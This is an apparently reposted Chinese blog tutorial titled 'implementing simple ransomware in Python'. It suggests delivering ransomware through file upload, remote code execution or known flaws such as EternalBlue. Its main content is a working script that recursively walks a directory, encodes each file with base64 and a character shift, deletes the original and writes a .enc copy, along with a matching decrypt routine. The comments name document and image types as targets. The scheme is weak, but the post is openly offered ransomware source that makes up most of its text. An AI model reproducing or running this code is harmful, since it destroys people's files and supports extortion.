python实现勒索病毒文章来源:https://www.toymoban.com/news/detail-511095.html
勒索病毒一种:将文件以base64字符串形式读取,然后对字符串进行加密(加密方式任取 只要可以解密即可)
问题:怎么在目标主机运行勒索病毒?
首先可以理由文件上传、远程代码执行、一些已知的漏洞等
例如著名的wannacry勒索病毒基于Windows系统永恒之蓝的漏洞文章来源地址https://www.toymoban.com/news/detail-511095.html
# 对一个文件进行勒索,怎么对文件夹进行勒索? --> os模块下的遍历目录 listdir
# 联系:对某些目录下关键文件:word xls docx ppt pptx rar jpg png txt
import base64,os
def encrypt(filepath):
with open(filepath,mode='rb') as file:
data = file.read()
source = base64.b64encode(data).decode()
# 对字符串加密 ascii码右移5位
result=''
for i in source:
if ord(i) in range(97,123) or ord(i) in range(65,91):
result+=chr(ord(i)+5)
else:
result+=i
os.remove(filepath)
with open(filepath+'.enc',mode='w') as file:
file.write(result)
def decrypt(filepath):
with open(filepath,mode='r') as file:
data = file.read()
result=''
for i in data:
if ord(i) in range(102, 128) or ord(i) in range(70, 96):
result += chr(ord(i) - 5)
else:
result += i
result = base64.b64decode(result)
os.remove(filepath)
with open(filepath.replace('.enc',''),mode='wb') as file:
file.write(result)
def dir_crypt(dirpath,type='encode'):
dirs = os.listdir(dirpath)
for filename in dirs:
filename = os.path.join(dirpath, filename)
if os.path.isdir(filename):
dir_crypt(filename,type)
else:
if type=='encode':
encrypt(filename)
elif type=='decode':
decrypt(filename)
else:
raise Exception("type error")
if __name__ == '__main__':
# encrypt('./test.png')
# decrypt('./test.png.enc')
# dir_crypt('.\\name')
dir_crypt('.\\name',type='decode')
到了这里,关于Python实现简单的勒索病毒的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!